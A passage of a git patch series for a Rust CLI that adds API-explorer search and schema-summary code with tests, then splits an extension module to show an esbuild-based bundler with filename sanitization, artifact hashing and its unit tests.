assert_eq!(scalar_schema_type(None, &no_defs()), None); + } + + #[test] + fn scalar_schema_type_labels_a_bare_inline_scalar() { + let schema = json!({ "type": "string", "format": "uuid" }); + assert_eq!( + scalar_schema_type(Some(&schema), &no_defs()), + Some("string(uuid)".to_owned()) + ); + } + + #[test] + fn scalar_schema_type_labels_a_bare_inline_array() { + let schema = json!({ "type": "array", "items": { "type": "string" } }); + assert_eq!( + scalar_schema_type(Some(&schema), &no_defs()), + Some("array".to_owned()) + ); + } + + #[test] + fn describe_schema_is_drillable_with_the_base_type_for_a_ref() { + let mut defs = no_defs(); + defs.insert( + "Shipment".to_owned(), + json!({ "type": "object", "properties": { "id": {} } }), + ); + let schema = json!({ "$ref": "#/$defs/Shipment" }); + assert_eq!( + describe_schema(Some(&schema), &defs), + (Some("object".to_owned()), true) + ); + } + + #[test] + fn describe_schema_is_drillable_with_the_base_type_for_an_inline_object() { + let schema = json!({ "type": "object", "properties": { "a": {} } }); + assert_eq!( + describe_schema(Some(&schema), &no_defs()), + (Some("object".to_owned()), true) + ); + } + + #[test] + fn describe_schema_is_not_drillable_with_the_full_label_for_a_bare_scalar() { + let schema = json!({ "type": "string", "format": "uuid" }); + assert_eq!( + describe_schema(Some(&schema), &no_defs()), + (Some("string(uuid)".to_owned()), false) + ); + } + + #[test] + fn describe_schema_is_not_drillable_for_a_missing_schema() { + assert_eq!(describe_schema(None, &no_defs()), (None, false)); + } + + #[test] + fn parse_schema_id_round_trips_each_location_kind() { + assert_eq!( + parse_schema_id("getUser.requestBody.schema"), + Some(("getUser".to_owned(), SchemaLocation::RequestBody)) + ); + assert_eq!( + parse_schema_id("getUser.parameters.limit.schema"), + Some(( + "getUser".to_owned(), + SchemaLocation::Parameter("limit".to_owned()) + )) + ); + assert_eq!( + parse_schema_id("getUser.responses.200.schema"), + Some(( + "getUser".to_owned(), + SchemaLocation::Response("200".to_owned()) + )) + ); + } + + #[test] + fn parse_schema_id_handles_dotted_operation_ids_and_parameter_names() { + // Real catalog data: an operationId and a parameter name can each + // contain literal dots, so the parser can't assume a fixed split + // position — it has to scan for the keyword segment. + assert_eq!( + parse_schema_id( + "commerce.location.verify-address.parameters.registeredStores.storeId.schema" + ), + Some(( + "commerce.location.verify-address".to_owned(), + SchemaLocation::Parameter("registeredStores.storeId".to_owned()) + )) + ); + } + + #[test] + fn parse_schema_id_rejects_malformed_ids() { + assert_eq!(parse_schema_id("justAnOperationId"), None); + assert_eq!(parse_schema_id("getUser.requestBody"), None); // missing trailing "schema" + assert_eq!(parse_schema_id(".parameters.limit.schema"), None); // empty operationId + } + + #[test] + fn schema_id_round_trip_holds_across_the_real_catalog() { + for domain in catalog() { + for ep in &domain.endpoints { + let check = |location: SchemaLocation, schema: &serde_json::Value| { + let id = compute_schema_id(&ep.operation_id, &location, schema); + if schema.get("$ref").is_some() { + // A $ref schema's id is its bare $defs key, resolved + // directly against the defs map elsewhere — it's + // never round-tripped through parse_schema_id. + return; + } + assert_eq!( + parse_schema_id(&id), + Some((ep.operation_id.clone(), location)), + "id was {id:?}" + ); + }; + + if let Some(schema) = ep.request_body.as_ref().and_then(|b| b.get("schema")) { + check(SchemaLocation::RequestBody, schema); + } + for param in &ep.parameters { + if let (Some(name), Some(schema)) = ( + param.get("name").and_then(serde_json::Value::as_str), + param.get("schema"), + ) { + check(SchemaLocation::Parameter(name.to_owned()), schema); + } + } + if let Some(responses) = ep.responses.as_object() { + for (status, resp) in responses { + if let Some(schema) = resp.get("schema") { + check(SchemaLocation::Response(status.clone()), schema); + } + } + } + } + } + } + + #[test] + fn schema_id_grammar_has_no_collisions_in_the_real_catalog() { + let collides = |segment: &str| SCHEMA_ID_KEYWORDS.contains(&segment) || segment == "schema"; + for domain in catalog() { + for ep in &domain.endpoints { + for segment in ep.operation_id.split('.') { + assert!( + !collides(segment), + "operationId {:?} has a segment ({segment:?}) that collides with the \ + schema-id grammar", + ep.operation_id + ); + } + for param in &ep.parameters { + let Some(name) = param.get("name").and_then(serde_json::Value::as_str) else { + continue; + }; + for segment in name.split('.') { + assert!( + !collides(segment), + "parameter {name:?} on {:?} has a segment ({segment:?}) that \ + collides with the schema-id grammar", + ep.operation_id + ); + } + } + } + } + } +} diff --git a/rust/src/api_explorer/search.rs b/rust/src/api_explorer/search.rs new file mode 100644 index 0000000..2107636 --- /dev/null +++ b/rust/src/api_explorer/search.rs @@ -0,0 +1,70 @@ +//! `api search`. + +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; +use serde_json::{Value, json}; + +use crate::next_action::next_action; +use crate::output_schema::output_schema; + +use super::catalog::{catalog, search_endpoints}; + +output_schema!(ApiEndpoint { + "domain": "string"; + "operationId": "string"; + "method": "string"; + "path": "string"; + "summary": "string", optional; + "scopes": "[]string"; + "graphqlOperations": "number", optional; +}); + +#[derive(Debug, Clone, clap::Args)] +struct SearchArgs { + /// Search term (matches path, operationId, summary, description). + #[arg(value_name = "QUERY")] + query: String, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::("search", "Search API endpoints by keyword") + .with_long( + "Full-text searches across all API domains, matching against operation IDs, \ + paths, summaries, and descriptions. Returns matching endpoints with domain, \ + method, path, and summary. Use `api operation get ` \ + to inspect a result in full detail.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true) + .with_default_fields("domain,method,path,summary") + .with_output_schema::(), + |_cred, args: SearchArgs| async move { + let hits = search_endpoints(catalog(), &args.query); + if hits.is_empty() { + return Ok(CommandResult::new(json!([]))); + } + let results: Vec = hits + .iter() + .map(|(domain, ep)| { + json!({ + "domain": domain.name, + "operationId": ep.operation_id, + "method": ep.method, + "path": ep.path, + "summary": ep.summary, + "scopes": ep.scopes, + "graphqlOperations": ep.graphql.as_ref().map(|g| g.operation_count), + }) + }) + .collect(); + Ok(CommandResult::new(json!(results)).with_next_actions(vec![ + next_action( + "api operation get ", + "Get full details for a result", + ) + .with_param("operation", NextActionParam::required()), + ])) + }, + ) +} diff --git a/rust/src/api_explorer/summary.rs b/rust/src/api_explorer/summary.rs new file mode 100644 index 0000000..a7cb17a --- /dev/null +++ b/rust/src/api_explorer/summary.rs @@ -0,0 +1,369 @@ +//! `api parameter`/`api response` — first-class entities scoped by +//! `--operation`, backing `api parameter list/get` and `api response +//! list/get`. `api operation get` summarizes the same rows for its own +//! preview, and also uses [`summarize_graphql_schema`] for its GraphQL +//! summary. + +use serde::Serialize; +use serde_json::{Map, Value, json}; + +use cli_engine::CliCoreError; + +use crate::summary::Summary; + +use super::catalog::{Endpoint, GraphqlSchema}; +use super::schema::{SchemaSummaryProperty, summarize_schema}; +use super::schema_tree::{SchemaLocation, compute_schema_id, describe_schema}; + +/// Breadth cap on a parameter's/response's *embedded* schema preview — the +/// full, untruncated tree is always one `api schema get ` away (see +/// `super::schema::build_schema_tree`), so this only bounds how much of it +/// gets inlined here. +const SCHEMA_PROPERTY_PREVIEW_CAP: usize = 20; + +/// Default page size for `api parameter list`/`api response list` (via +/// `CommandSpec::with_pagination`) when neither `--limit` nor `--offset` is +/// passed, and for `api operation get`'s own embedded parameter/response +/// previews (which aren't paginated themselves — see `Summary::capped` +/// there — but use the same "how many rows to show inline" size). +pub(super) const OPERATION_CHILD_LIST_DEFAULT_LIMIT: usize = 20; + +/// Upper bound a user can request with `--limit` on `api parameter list`/ +/// `api response list`. Generous relative to the real catalog (26 +/// parameters, 11 responses is the current max of either), just to guard +/// against a client asking for something absurd. +pub(super) const OPERATION_CHILD_LIST_MAX_LIMIT: i64 = 200; + +#[derive(Debug, Clone, Serialize)] +pub(super) struct ParameterSummary { + pub(super) name: String, + + #[serde(rename = "in")] + pub(super) location: String, + + pub(super) required: bool, + + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) description: Option, + + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) schema: Option>, + + /// Id for `api schema get`, present whenever this parameter's schema has + /// something to drill into — an object with properties, or a `$ref` + /// (which might resolve to one) — regardless of whether the embedded + /// preview above happens to be truncated, so a caller always knows what + /// shape a parameter (most importantly `body`) expects. `None` for a + /// bare inline scalar (see `scalar_type` below), where drilling in would + /// just echo the same type back. + #[serde(rename = "schemaId", skip_serializing_if = "Option::is_none")] + pub(super) schema_id: Option, + + /// The type to show alongside `schema_id`/`schema`: the full label + /// (e.g. `"string(uuid)"`, `"array"`) when `schema_id` is + /// absent (a bare scalar — the label is the whole story), or just the + /// coarse base type (e.g. `"object"`) when `schema_id` *is* present, + /// since the full nested detail is a `schema get` away instead of being + /// repeated here. Always present whenever there's a schema at all — see + /// `describe_schema`. + #[serde(rename = "type", skip_serializing_if = "Option::is_none")] + pub(super) scalar_type: Option, +} + +/// Every parameter on `ep`, plus — if it has a request body — a synthetic +/// `{name: "body", in: "body"}` row. In the catalog's flattened shape +/// (`ep.request_body`: `required`/`contentType`/`schema`, no `name`/`in` of +/// its own), a request body is structurally just a parameter missing a +/// name, so this is the one place both are normalized into the same shape. +pub(super) fn summarize_parameters( + ep: &Endpoint, + defs: &Map, +) -> Vec { + let mut rows: Vec = ep + .parameters + .iter() + .filter_map(|param| { + let obj = param.as_object()?; + let name = obj.get("name").and_then(Value::as_str)?.to_owned(); + let location = obj + .get("in") + .and_then(Value::as_str) + .unwrap_or("query") + .to_owned(); + let required = obj + .get("required") + .and_then(Value::as_bool) + .unwrap_or(false); + let description = obj + .get("description") + .and_then(Value::as_str) + .map(str::to_owned); + let raw_schema = obj.get("schema"); + let schema = summarize_schema(raw_schema, defs) + .map(|props| Summary::capped(props, SCHEMA_PROPERTY_PREVIEW_CAP)); + let (scalar_type, drillable) = describe_schema(raw_schema, defs); + let schema_id = if drillable { + raw_schema.map(|raw| { + compute_schema_id( + &ep.operation_id, + &SchemaLocation::Parameter(name.clone()), + raw, + ) + }) + } else { + None + }; + Some(ParameterSummary { + name, + location, + required, + description, + schema, + schema_id, + scalar_type, + }) + }) + .collect(); + + if let Some(body) = &ep.request_body { + let required = body + .get("required") + .and_then(Value::as_bool) + .unwrap_or(false); + let description = body + .get("description") + .and_then(Value::as_str) + .map(str::to_owned); + let raw_schema = body.get("schema"); + let schema = summarize_schema(raw_schema, defs) + .map(|props| Summary::capped(props, SCHEMA_PROPERTY_PREVIEW_CAP)); + let (scalar_type, drillable) = describe_schema(raw_schema, defs); + let schema_id = if drillable { + raw_schema + .map(|raw| compute_schema_id(&ep.operation_id, &SchemaLocation::RequestBody, raw)) + } else { + None + }; + rows.push(ParameterSummary { + name: "body".to_owned(), + location: "body".to_owned(), + required, + description, + schema, + schema_id, + scalar_type, + }); + } + + rows +} + +/// Finds the raw (pre-summarization) schema `Value` for one of `ep`'s +/// parameters by name, and the `SchemaLocation` to compute its id with. +/// Handles the synthetic `"body"` name specially: unlike every other +/// parameter, `body` isn't in `ep.parameters` at all — it's `ep.request_body` +/// wearing a parameter-shaped hat (see `summarize_parameters` above), so its +/// schema id must use the `RequestBody` location, not `Parameter("body")`. +pub(super) fn find_parameter_schema<'a>( + ep: &'a Endpoint, + name: &str, +) -> Option<(&'a Value, SchemaLocation)> { + if name == "body" { + return ep + .request_body + .as_ref() + .and_then(|b| b.get("schema")) + .map(|schema| (schema, SchemaLocation::RequestBody)); + } + ep.parameters.iter().find_map(|param| { + let is_match = param.get("name").and_then(Value::as_str) == Some(name); + if !is_match { + return None; + } + param + .get("schema") + .map(|schema| (schema, SchemaLocation::Parameter(name.to_owned()))) + }) +} + +#[derive(Debug, Clone, Serialize)] +pub(super) struct ResponseRow { + pub(super) status: String, + pub(super) description: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) schema: Option>, + /// See `ParameterSummary::schema_id` — same "nothing to drill into" + /// exception for a bare inline scalar. + #[serde(rename = "schemaId", skip_serializing_if = "Option::is_none")] + pub(super) schema_id: Option, + /// See `ParameterSummary::scalar_type`. + #[serde(rename = "type", skip_serializing_if = "Option::is_none")] + pub(super) scalar_type: Option, +} + +/// Every response on `ep`, sorted by status for a stable listing order +/// (`ep.responses` is parsed straight from JSON and carries no ordering +/// guarantee of its own). +pub(super) fn response_rows(ep: &Endpoint, defs: &Map) -> Vec { + let Some(responses) = ep.responses.as_object() else { + return Vec::new(); + }; + let mut rows: Vec = responses + .iter() + .map(|(status, resp)| { + let description = resp + .get("description") + .and_then(Value::as_str) + .unwrap_or("") + .to_owned(); + let raw_schema = resp.get("schema"); + let schema = summarize_schema(raw_schema, defs) + .map(|props| Summary::capped(props, SCHEMA_PROPERTY_PREVIEW_CAP)); + let (scalar_type, drillable) = describe_schema(raw_schema, defs); + let schema_id = if drillable { + raw_schema.map(|raw| { + compute_schema_id( + &ep.operation_id, + &SchemaLocation::Response(status.clone()), + raw, + ) + }) + } else { + None + }; + ResponseRow { + status: status.clone(), + description, + scalar_type, + schema, + schema_id, + } + }) + .collect(); + rows.sort_by(|a, b| a.status.cmp(&b.status)); + rows +} + +/// Serializes `value` to a JSON `Value`, mapping the (practically +/// unreachable for these plain-data types) serialization failure to a +/// proper `CliCoreError` instead of panicking — mirrors the pattern already +/// used in `webhook::group`. +pub(super) fn to_json(value: impl Serialize) -> Result { + serde_json::to_value(value).map_err(|e| { + crate::error::GddyError::unexpected(format!("failed to serialize output: {e}")) + .into_cli_error() + }) +} + +// --------------------------------------------------------------------------- +// GraphQL summarization — condenses a domain's embedded GraphQL schema +// (parsed at catalog-build time) into a per-operation summary for +// `api operation get`. Ported from the original TypeScript CLI's +// `summarizeGraphqlSchema`, minus its operation-count cap: every operation +// is included, full stop — no truncation until there's a real mechanism +// for retrieving what got cut. +// --------------------------------------------------------------------------- + +pub(super) fn summarize_graphql_schema(graphql: &GraphqlSchema) -> Value { + let query_count = graphql + .operations + .iter() + .filter(|op| op.kind == "query") + .count(); + let mutation_count = graphql.operations.len() - query_count; + let operations: Vec = graphql + .operations + .iter() + .map(|op| { + json!({ + "name": op.name, + "kind": op.kind, + "returnType": op.return_type, + "deprecated": op.deprecated, + "deprecationReason": op.deprecation_reason, + "args": op.args.iter().map(|a| json!({ + "name": a.name, + "type": a.arg_type, + "required": a.required, + "defaultValue": a.default_value, + })).collect::>(), + }) + }) + .collect(); + json!({ + "schemaRef": graphql.schema_ref, + "operationCount": graphql.operation_count, + "queryCount": query_count, + "mutationCount": mutation_count, + "operations": operations, + }) +} + +#[cfg(test)] +mod tests { + use serde_json::json; + + use super::super::catalog::{GraphqlArgument, GraphqlOperation, GraphqlSchema}; + use super::summarize_graphql_schema; + + fn make_graphql_operations(count: usize) -> Vec { + (0..count) + .map(|i| GraphqlOperation { + name: format!("op{i}"), + kind: if i % 2 == 0 { "query" } else { "mutation" }.to_owned(), + return_type: "String".to_owned(), + deprecated: false, + deprecation_reason: None, + args: vec![], + }) + .collect() + } + + #[test] + fn summarize_graphql_schema_includes_every_operation_and_splits_query_mutation_counts() { + let schema = GraphqlSchema { + schema_ref: "./schema.graphql".to_owned(), + operation_count: 25, + operations: make_graphql_operations(25), + }; + let summary = summarize_graphql_schema(&schema); + assert_eq!(summary["operationCount"], json!(25)); + assert_eq!(summary["queryCount"], json!(13)); + assert_eq!(summary["mutationCount"], json!(12)); + assert_eq!( + summary["operations"] + .as_array() + .expect("operations array") + .len(), + 25 + ); + } + + #[test] + fn summarize_graphql_schema_carries_operation_detail() { + let schema = GraphqlSchema { + schema_ref: "./schema.graphql".to_owned(), + operation_count: 1, + operations: vec![GraphqlOperation { + name: "widgets".to_owned(), + kind: "query".to_owned(), + return_type: "[Widget]".to_owned(), + deprecated: true, + deprecation_reason: Some("use widgetsV2".to_owned()), + args: vec![GraphqlArgument { + name: "id".to_owned(), + arg_type: "String!".to_owned(), + required: true, + default_value: None, + }], + }], + }; + let summary = summarize_graphql_schema(&schema); + assert_eq!(summary["operations"][0]["name"], json!("widgets")); + assert_eq!(summary["operations"][0]["deprecated"], json!(true)); + assert_eq!( + summary["operations"][0]["args"][0]["type"], + json!("String!") + ); + } +} From 32635fc0126c314913d537b51f003d55992088db Mon Sep 17 00:00:00 2001 From: Jacob Page Date: Fri, 7 Aug 2026 14:09:54 -0700 Subject: [PATCH 4/7] refactor(extension): split mod.rs into per-concern files extension/mod.rs bundled types, sandboxing, the runtime wrapper, the esbuild bundler, and the SEC101-SEC115 security scanner in one 2713-line file. Split by concern into types/sandbox/runtime_wrapper/ bundler.rs and a security/ module (rule data in rules.rs, detection tests split by rule range). mod.rs re-exports the same public surface so no caller needs to change. --- rust/src/extension/bundler.rs | 530 ++++ rust/src/extension/mod.rs | 2730 +---------------- rust/src/extension/runtime_wrapper.rs | 112 + rust/src/extension/sandbox.rs | 513 ++++ rust/src/extension/security/mod.rs | 289 ++ rust/src/extension/security/rules.rs | 264 ++ .../extension/security/tests_sec101_108.rs | 561 ++++ .../extension/security/tests_sec109_115.rs | 421 +++ rust/src/extension/types.rs | 87 + 9 files changed, 2795 insertions(+), 2712 deletions(-) create mode 100644 rust/src/extension/bundler.rs create mode 100644 rust/src/extension/runtime_wrapper.rs create mode 100644 rust/src/extension/sandbox.rs create mode 100644 rust/src/extension/security/mod.rs create mode 100644 rust/src/extension/security/rules.rs create mode 100644 rust/src/extension/security/tests_sec101_108.rs create mode 100644 rust/src/extension/security/tests_sec109_115.rs create mode 100644 rust/src/extension/types.rs diff --git a/rust/src/extension/bundler.rs b/rust/src/extension/bundler.rs new file mode 100644 index 0000000..b2eb6e4 --- /dev/null +++ b/rust/src/extension/bundler.rs @@ -0,0 +1,530 @@ +use std::path::{Path, PathBuf}; + +use sha2::Digest as _; + +use super::runtime_wrapper::{ + absolute_entry_path, create_ui_extension_runtime_wrapper, + should_use_ui_extension_runtime_wrapper, +}; +use super::types::{BundleCleanup, BundleOptions, BundleResult, ExtensionType}; + +// --------------------------------------------------------------------------- +// Bundler +// --------------------------------------------------------------------------- + +fn find_esbuild() -> PathBuf { + if let Ok(cwd) = std::env::current_dir() { + let mut dir = cwd.as_path(); + loop { + let candidate = dir.join("node_modules/.bin/esbuild"); + if candidate.exists() { + return candidate; + } + match dir.parent() { + Some(p) => dir = p, + None => break, + } + } + } + PathBuf::from("esbuild") +} + +/// Prefer `extensionDir/tsconfig.json`, else `repoRoot/tsconfig.json`. +fn resolve_tsconfig(extension_dir: &Path, repo_root: &Path) -> Option { + let local = extension_dir.join("tsconfig.json"); + if local.is_file() { + return Some(local); + } + let root = repo_root.join("tsconfig.json"); + if root.is_file() { + return Some(root); + } + None +} + +/// Sanitize an extension handle/name for use in filenames. +/// +/// Dots are rewritten so handles like `.` / `..` cannot make `Path::join` +/// resolve to the temp root or its parent. +fn sanitize_extension_name(name: &str) -> String { + let sanitized: String = name + .chars() + .map(|c| match c { + '/' | '\\' | ':' | '*' | '?' | '"' | '<' | '>' | '|' | '@' | '!' | '.' => '-', + c if c.is_whitespace() => '-', + c => c, + }) + .collect(); + let cleaned = sanitized + .to_ascii_lowercase() + .trim_matches(|c: char| c == '-' || c.is_whitespace()) + .chars() + .take(100) + .collect::(); + if cleaned.is_empty() { + "extension".to_owned() + } else { + cleaned + } +} + +/// UTC timestamp `yyyymmddHHMMss`. +pub(crate) fn format_timestamp(now: chrono::DateTime) -> String { + now.format("%Y%m%d%H%M%S").to_string() +} + +fn short_hash(full_hash: &str) -> &str { + full_hash.get(..6).unwrap_or(full_hash) +} + +/// `{sanitized}-{version}-{timestamp}-{hash}.mjs` +fn build_artifact_name(name: &str, version: Option<&str>, timestamp: &str, hash: &str) -> String { + format!( + "{}-{}-{}-{}.mjs", + sanitize_extension_name(name), + version.unwrap_or("0.0.0"), + timestamp, + hash + ) +} + +fn create_temp_directory(repo_root: &Path, timestamp: &str) -> PathBuf { + let repo_name = repo_root + .file_name() + .and_then(|s| s.to_str()) + .unwrap_or("repo"); + // Include PID so two deploys in the same second don't share a temp tree. + let pid = std::process::id(); + std::env::temp_dir() + .join("gd-cli") + .join(repo_name) + .join(format!("deploy-{timestamp}-{pid}")) +} + +pub async fn bundle_extension( + source_path: &Path, + ext_type: ExtensionType, + ext_dir: &Path, + options: BundleOptions<'_>, +) -> Result { + let esbuild = find_esbuild(); + let timestamp = options + .timestamp + .map(str::to_owned) + .unwrap_or_else(|| format_timestamp(chrono::Utc::now())); + + let temp_root = create_temp_directory(options.repo_root, ×tamp); + // Clean the temp tree on any early return; disarmed only on success. + let cleanup = BundleCleanup::for_dir(temp_root.clone()); + let extension_temp_dir = temp_root.join(sanitize_extension_name(options.name)); + tokio::fs::create_dir_all(&extension_temp_dir) + .await + .map_err(|e| format!("failed to create temp dir: {e}"))?; + + let mut build_entry = source_path.to_owned(); + if should_use_ui_extension_runtime_wrapper(ext_type) { + let abs_source = absolute_entry_path(source_path).await; + let wrapper_path = extension_temp_dir.join("ui-extension-runtime-entry.ts"); + let wrapper = create_ui_extension_runtime_wrapper(&abs_source); + tokio::fs::write(&wrapper_path, wrapper) + .await + .map_err(|e| format!("failed to write UI runtime wrapper: {e}"))?; + build_entry = wrapper_path; + } + + let out_dir = extension_temp_dir.join("out"); + tokio::fs::create_dir_all(&out_dir) + .await + .map_err(|e| format!("failed to create out dir: {e}"))?; + + let mut args: Vec = vec![ + build_entry.to_string_lossy().into_owned(), + "--bundle".to_owned(), + "--minify".to_owned(), + "--sourcemap=external".to_owned(), + format!("--outdir={}", out_dir.display()), + "--out-extension:.js=.mjs".to_owned(), + "--log-level=silent".to_owned(), + "--external:node:*".to_owned(), + "--external:@wsblocks/*".to_owned(), + ]; + + if let Some(tsconfig) = resolve_tsconfig(ext_dir, options.repo_root) { + args.push(format!("--tsconfig={}", tsconfig.display())); + } + + match ext_type { + ExtensionType::Blocks => { + args.push("--platform=node".to_owned()); + args.push("--format=esm".to_owned()); + args.push("--target=node22".to_owned()); + args.push("--external:react".to_owned()); + args.push("--external:react/*".to_owned()); + args.push("--external:react-dom".to_owned()); + args.push("--external:react-dom/*".to_owned()); + } + ExtensionType::Embed | ExtensionType::Checkout => { + args.push("--platform=browser".to_owned()); + args.push("--format=iife".to_owned()); + args.push("--target=es2020".to_owned()); + args.push("--alias:react=preact/compat".to_owned()); + args.push("--alias:react-dom=preact/compat".to_owned()); + args.push("--alias:react/jsx-runtime=preact/jsx-runtime".to_owned()); + } + } + + let ext_node_modules = ext_dir.join("node_modules"); + if ext_node_modules.exists() { + args.push(format!("--node-paths={}", ext_node_modules.display())); + } + + let output = tokio::process::Command::new(&esbuild) + .args(&args) + .output() + .await + .map_err(|e| format!("failed to run esbuild ({}): {e}", esbuild.display()))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr).into_owned(); + return Err(format!("esbuild failed: {stderr}")); + } + + let mjs_path = find_output_mjs(&out_dir).await?; + let map_path = { + let candidate = PathBuf::from(format!("{}.map", mjs_path.display())); + candidate.is_file().then_some(candidate) + }; + + let raw_bytes = tokio::fs::read(&mjs_path) + .await + .map_err(|e| format!("failed to read bundle output: {e}"))?; + + // Strip sourcemap comment before hashing; size/bytes include the + // re-appended `sourceMappingURL` footer (matches TS behavior). + let content = String::from_utf8_lossy(&raw_bytes); + let stripped = strip_sourcemap_comment(&content); + let sha256 = sha256_hex(stripped.as_bytes()); + let hash = short_hash(&sha256).to_owned(); + let artifact_name = build_artifact_name(options.name, options.version, ×tamp, &hash); + + let mut bundle_content = stripped; + let mut sourcemap_path = None; + if let Some(map_src) = map_path { + let map_name = format!("{artifact_name}.map"); + bundle_content.push_str(&format!("\n//# sourceMappingURL={map_name}\n")); + let map_dest = extension_temp_dir.join(&map_name); + tokio::fs::copy(&map_src, &map_dest) + .await + .map_err(|e| format!("failed to write sourcemap: {e}"))?; + sourcemap_path = Some(map_dest); + } + + let artifact_path = extension_temp_dir.join(&artifact_name); + tokio::fs::write(&artifact_path, bundle_content.as_bytes()) + .await + .map_err(|e| format!("failed to write artifact: {e}"))?; + + let size = bundle_content.len() as u64; + cleanup.disarm(); + Ok(BundleResult { + bytes: bundle_content.into_bytes(), + sha256, + artifact_name, + artifact_path, + size, + sourcemap_path, + temp_dir: temp_root, + }) +} + +/// Find the single `.mjs` output under `dir`. Fails if zero or multiple are present +/// (code-splitting / multi-chunk outputs are not supported). +async fn find_output_mjs(dir: &Path) -> Result { + let mut read_dir = tokio::fs::read_dir(dir) + .await + .map_err(|e| format!("failed to read temp dir: {e}"))?; + let mut found = Vec::new(); + loop { + match read_dir.next_entry().await { + Ok(Some(entry)) => { + let path = entry.path(); + if path.extension().and_then(|e| e.to_str()) == Some("mjs") { + found.push(path); + } + } + Ok(None) => break, + Err(e) => return Err(format!("failed to read temp dir entry: {e}")), + } + } + match found.as_slice() { + [only] => Ok(only.clone()), + [] => Err("esbuild produced no .mjs output file".to_owned()), + many => { + let list = many + .iter() + .map(|p| p.display().to_string()) + .collect::>() + .join(", "); + Err(format!( + "esbuild produced multiple .mjs outputs (code splitting not supported): {list}" + )) + } + } +} + +fn strip_sourcemap_comment(content: &str) -> String { + let stripped: Vec<&str> = content + .lines() + .filter(|line| !line.trim_start().starts_with("//# sourceMappingURL=")) + .collect(); + stripped.join("\n").trim_end().to_owned() +} + +fn sha256_hex(bytes: &[u8]) -> String { + sha2::Sha256::digest(bytes) + .iter() + .map(|b| format!("{b:02x}")) + .collect() +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + // ----------------------------------------------------------------------- + // strip_sourcemap_comment + // ----------------------------------------------------------------------- + + #[test] + fn strip_removes_sourcemap_line() { + let content = "const x = 1;\n//# sourceMappingURL=bundle.mjs.map\n"; + let result = strip_sourcemap_comment(content); + assert!(!result.contains("sourceMappingURL"), "result: {result}"); + assert!(result.contains("const x = 1;"), "result: {result}"); + } + + #[test] + fn strip_keeps_other_content_intact() { + let content = "const a = 1;\nconst b = 2;\n"; + let result = strip_sourcemap_comment(content); + assert!(result.contains("const a = 1;"), "result: {result}"); + assert!(result.contains("const b = 2;"), "result: {result}"); + } + + #[test] + fn strip_no_sourcemap_is_noop() { + let content = "const x = 1;"; + let result = strip_sourcemap_comment(content); + assert!(result.contains("const x = 1;"), "result: {result}"); + } + + // ----------------------------------------------------------------------- + // sha256_hex + // ----------------------------------------------------------------------- + + #[test] + fn sha256_empty_input() { + let hex = sha256_hex(b""); + assert_eq!(hex.len(), 64); + assert_eq!( + hex, + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ); + } + + #[test] + fn sha256_known_value() { + let hex = sha256_hex(b"hello"); + assert_eq!( + hex, + "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824" + ); + } + + // ----------------------------------------------------------------------- + // Artifact naming / tsconfig + // ----------------------------------------------------------------------- + + #[test] + fn sanitize_extension_name_scoped_and_special_chars() { + assert_eq!( + sanitize_extension_name("@scoped/extension"), + "scoped-extension" + ); + assert_eq!(sanitize_extension_name("My Extension!"), "my-extension"); + assert_eq!(sanitize_extension_name("@@@"), "extension"); + assert_eq!(sanitize_extension_name("."), "extension"); + assert_eq!(sanitize_extension_name(".."), "extension"); + assert_eq!(sanitize_extension_name("my.widget"), "my-widget"); + } + + #[test] + fn sanitize_extension_name_dot_handles_stay_under_temp_root() { + let temp_root = Path::new("/tmp/gd-cli/repo/deploy-ts-1"); + for handle in [".", ".."] { + let joined = temp_root.join(sanitize_extension_name(handle)); + assert!( + joined.starts_with(temp_root), + "handle {handle:?} escaped temp root: {joined:?}" + ); + assert_ne!( + joined, temp_root, + "handle {handle:?} collapsed to temp root" + ); + assert_ne!( + joined, + temp_root.parent().expect("parent"), + "handle {handle:?} resolved to temp parent" + ); + } + } + + #[test] + fn build_artifact_name_uses_handle_version_timestamp_hash() { + let name = build_artifact_name( + "@scoped/extension", + Some("1.0.0"), + "20250128143022", + "a3b2c1", + ); + assert_eq!(name, "scoped-extension-1.0.0-20250128143022-a3b2c1.mjs"); + } + + #[test] + fn build_artifact_name_defaults_missing_version() { + let name = build_artifact_name("widget", None, "20250128143022", "abcdef"); + assert_eq!(name, "widget-0.0.0-20250128143022-abcdef.mjs"); + } + + #[test] + fn format_timestamp_is_utc_compact() { + use chrono::TimeZone; + let ts = chrono::Utc + .with_ymd_and_hms(2025, 1, 28, 14, 30, 22) + .single() + .expect("valid utc"); + assert_eq!(format_timestamp(ts), "20250128143022"); + } + + #[test] + fn resolve_tsconfig_prefers_extension_local_over_repo_root() { + let root = tempfile::tempdir().expect("temp root"); + let ext = root.path().join("ext"); + std::fs::create_dir_all(&ext).expect("ext dir"); + std::fs::write(root.path().join("tsconfig.json"), "{}").expect("root tsconfig"); + std::fs::write(ext.join("tsconfig.json"), "{}").expect("local tsconfig"); + let resolved = resolve_tsconfig(&ext, root.path()).expect("local"); + assert_eq!(resolved, ext.join("tsconfig.json")); + } + + #[test] + fn resolve_tsconfig_falls_back_to_repo_root() { + let root = tempfile::tempdir().expect("temp root"); + let ext = root.path().join("ext"); + std::fs::create_dir_all(&ext).expect("ext dir"); + std::fs::write(root.path().join("tsconfig.json"), "{}").expect("root tsconfig"); + let resolved = resolve_tsconfig(&ext, root.path()).expect("root"); + assert_eq!(resolved, root.path().join("tsconfig.json")); + } + + #[test] + fn create_temp_directory_includes_pid() { + let root = Path::new("/tmp/my-app"); + let dir = create_temp_directory(root, "20250731120000"); + let name = dir.file_name().and_then(|s| s.to_str()).expect("dir name"); + assert!( + name.starts_with("deploy-20250731120000-"), + "unexpected: {name}" + ); + assert!( + name.ends_with(&format!("-{}", std::process::id())), + "unexpected: {name}" + ); + } + + #[tokio::test] + async fn find_output_mjs_rejects_multiple_chunks() { + let dir = tempfile::tempdir().expect("temp"); + std::fs::write(dir.path().join("a.mjs"), "a").expect("a"); + 